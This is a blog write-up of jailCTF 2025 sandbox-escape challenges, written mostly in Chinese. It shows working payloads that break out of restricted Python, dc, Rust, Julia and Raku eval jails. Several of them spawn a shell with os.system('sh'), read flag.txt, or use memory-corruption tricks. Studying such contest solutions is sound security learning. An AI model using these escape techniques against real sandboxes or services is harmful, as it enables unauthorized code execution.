index | ~dongdigua

jailCTF 2025 writeup

$Id: wp_jailctf_2025.org,v 25.7 2025/10/09 18:52:18 dongdigua Exp $

1. Day 1

1.1. ASMaaS

#include "flag.txt"
    or
.incbin "flag.txt"

1.2. blindness

Python 沙箱逃逸技术合集

().__class__.__base__.__subclasses__()[144].__init__.__globals__['__builtins__']['print'](flag, file=().__class__.__base__.__subclasses__()[144].__init__.__globals__['__builtins__']['__import__']('sys').stderr)

过于简单,懒得解释

1.3. impossible

解题&WP by @ishland

eval(''.join(c for c in input('> ') if c in "abcdefghijklmnopqrstuvwxyz:_.[]"))

没有小括号不能直接构造函数调用,没有引号也不能直接构造字符串常量
__repr__ 不能直接用,因为最后的并没有print,除非手动构造一个
考虑 __getattribute__, obj.attr 会变成 obj.__class__.__getattribute__("attr")
然后就是找两个东西,这里找了 license 和 help
构造 __import__("os").system("sh")

license.__class__.__getattribute__ = __import__
help.__class__.__getattribute__ = license.os.system

使用for我也不知道叫什么的那玩意进行变量赋值,以避开等号和空格进行赋值

[[license.os.system]for[license.__class__.__getattribute__]in[[__import__]]]
[[help.sh]for[help.__class__.__getattribute__]in[[license.os.system]]]

然后串一下

[[[[help.sh]for[help.__class__.__getattribute__]in[[license.os.system]]]]for[license.__class__.__getattribute__]in[[__import__]]]

即可getshell

1.4. dcjail

幽默 GNU

import os

inp = input('> ')
if any(c not in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxy' for c in inp):  # they gave me no blue raspberry dawg
    print('bad. dont even try using lowercase z')
    exit(1)

with open('/tmp/code.txt', 'w') as f:
    f.write(inp)

os.system(f'/usr/bin/dc -f /tmp/code.txt')
print("stop. you're done. get out.")

先看 man! 发现两个指令 ! ? 都可以导致 RCE

?
    Reads a line from the terminal and executes it. This command allows a macro to request input from the user.
!
    Will run the rest of the line as a system command.

显然这两个都不在上面的字符里
然后 GNU 幽默地加入了 a 指令可以 pop 一个数字 push 一个 char,即使 deprecated 也依旧保留

63ap
dc: warning: 'a' command is deprecated
        (contact <bug-dc@gnu.org> if you actually use it)
?
case 'a':       /* Convert top of stack to an ascii character. */
        if (dc_pop(&datum) == DC_SUCCESS){
                char tmps;
                if (datum.dc_type == DC_NUMBER){
                        tmps = (char) dc_num2int(datum.v.number, DC_TOSS);
                }else if (datum.dc_type == DC_STRING){
                        tmps = *dc_str2charp(datum.v.string);
                        dc_free_str(&datum.v.string);
                }else{
                        dc_garbage("at top of stack", -1);
                }
                dc_push(dc_makestring(&tmps, 1));
        }
        break;

x 指令可以 pop 一个 string 当作 macro 执行
理论成立,实践开始!

由于字符限制不能输入数字,但可以平方再 v 开方,一次不行就两次

FAAAAAAvvap
?

所以 payload 就是 FAAAAAAvvax

2. Day 2

2.1. rustjail

这题是半道才出来的,我也是靠这题拿下的 第 10 名

import string
import os

allowed = set(string.ascii_lowercase+string.digits+' :._(){}"')

os.environ['RUSTUP_HOME']='/usr/local/rustup'
os.environ['CARGO_HOME']='/usr/local/cargo'
os.environ['PATH']='/usr/local/cargo/bin:/usr/bin'

inp = input("gib cod: ").strip()
if not allowed.issuperset(set(inp)):
    print("bad cod")
    exit()
else:
    print(inp)
with open("/tmp/cod.rs", "w") as f:
    f.write(inp)
os.system("/usr/local/cargo/bin/rustc /tmp/cod.rs -o /tmp/cod")
os.system("/tmp/cod; echo Exited with status $?")

试了一圈发现没法直接输出 flag,但是有返回值所以可以一个一个字符蹦。

from pwn import *

res = []

for i in range(40):
    io = remote('challs2.pyjail.club', 9999)
    payload = 'fn main() { std::process::exit(std::fs::read("flag.txt").unwrap().into_iter().nth(' + f'{i}' + ').unwrap().into()) }'
    io.sendlineafter('gib cod: ', payload)
    io.recvuntil('with status ')
    res.append(chr(int(io.recv())))
    print(''.join(res))

2.2. calcdefanged

解题&WP by @ishland

题目检查输入长度小于75,第一个字符为 [0-9+\-*/]+ ,直接用 0, 绕过即可
题目上加入audit hook之后又卸载了,在卸载后才把结果进行print,考虑攻击 __repr__

理论上可以使用任意mutable class,例如 help.__class__.__repr__
但是题目过滤空格和下划线, __class__ 这种字符串要继续构造,所以这里使用 license
因为劫持 license._Printer__setup 就好了,降低payload过长的可能性

_Printer__setup 使用 dir(license)[5] 代替,使用 setattr(obj,str,any) 代替 license._Printer__setup = any 赋值语句,
扔一个lambda进去就解决在audit hook卸载后代码执行问题

但是一行做完exploit不现实,主要是payload长度限制,考虑双步执行,使用 eval(input()) 解决问题

0,setattr(license,dir(license)[5],lambda:eval(input())),license

长度不超过75限制,进去之后扔 __import__("os").system("sh") 即可,然后即可getshell

3. Day 3

一道题也没搞出来

4.

最高排名 10,最终排名 40。

看看别人的 writeup 长长脑子吧

4.1. rustjail

@mirelgigel

fn main(){std::panic::panic_any(std::fs::read_to_string("flag.txt").unwrap())}

@toxicpie
直接 getshell 了

fn main() {
    unsafe {
        true.then_some(
            true.then_some(0_u64)
                .as_mut_slice()
                .as_mut_ptr()
                .byte_add(0x50)
                .write(
                    true.then_some(0_u64)
                        .as_slice()
                        .as_ptr()
                        .byte_add(0x1e0)
                        .read()
                        .wrapping_add(0x1324c),
                ),
        )
        .is_some()
        .then_some(
            true.then_some(0_u64)
                .as_mut_slice()
                .as_mut_ptr()
                .byte_add(0x38)
                .write(0),
        )
        .is_some()
        .then_some(
            true.then_some(0_u64)
                .as_mut_slice()
                .as_mut_ptr()
                .byte_add(0x30)
                .write(
                    true.then_some(0_u64)
                        .as_slice()
                        .as_ptr()
                        .byte_add(0x1b0)
                        .read()
                        .wrapping_add(0x24eef),
                ),
        )
        .unwrap()
    }
}

4.2. jailia

function check(ex)
    if ex isa Expr
        if ex.head in (:call, :macrocall, :.)
            println("bad expression: $(ex.head)")
            exit()
        end
        for arg in ex.args
            check(arg)
        end
    end
end

print("Input a Julia expression: ")
code = readline()
ex = Meta.parse(code)
check(ex)
eval(ex)

就是个操作符重载,当时想到但没细想。

4.3. brainfudge

前置知识

>>> +True
1
>>> +False
0
>>> -True
-1
>>> ...
Ellipsis

@flocto
--++[[[]]>[]][[]<[]] 可以任意叠加产生 python 数字并保持 bf 状态不变
然后就可以得出 111 解法

然后还有一种 [[[]]] 解法暂时没看懂

4.4. stupɪd si plʌs plʌs

re.fullmatch(r'[a-z *;_]+', code)

@toxicpie

  1. operators we can use: `*` (multiplication, pointers and dereferencing), bit operations (`bitand`, …), bit+assign operations (`and_eq`, …)
  2. create 0 from xor, 1 and 2 from `sizeof`, 2^n from multiplying 2
  3. create any constant by using `bit_or` on 2^n
  4. can perform addition using bit operations and *2
  5. use `extern unsigned long environ;` to obtain a pointer to somewhere on the stack
  6. combine 3, 4 and 5 to obtain a pointer to the return address
  7. use `extern unsigned long stdin;` to obtain a pointer to inside libc
  8. combine 3, 4 and 7 to obtain some rop gadgets
  9. 🤯

4.5. monkeval

$*OUT.out-buffer = False;
$*ERR.out-buffer = False;

# 🙈🙈🙈
sub MONKEY-SEE-NO-EVAL { 1 }

constant @allowed-charset = '()0123456789+-*/^~<=>$_ '.comb;

loop {
    my $input = prompt 'Enter a math expression: ';

    exit if $input eq 'exit';

    if $input.comb ⊈ @allowed-charset {
        say 'Invalid expression!';
        next;
    }

    $_ = EVAL($input);
    say $_;
}

string xor + regex eval
看不懂

dongdigua CC BY-NC-SA 禁止转载到私域(公众号,非自己托管的博客等)

Email me to add comment

Proudly made with Emacs Org mode

Date: 2025-10-07 Tue 00:00 Size: 22K (≈ 3.3278 mg CO2e)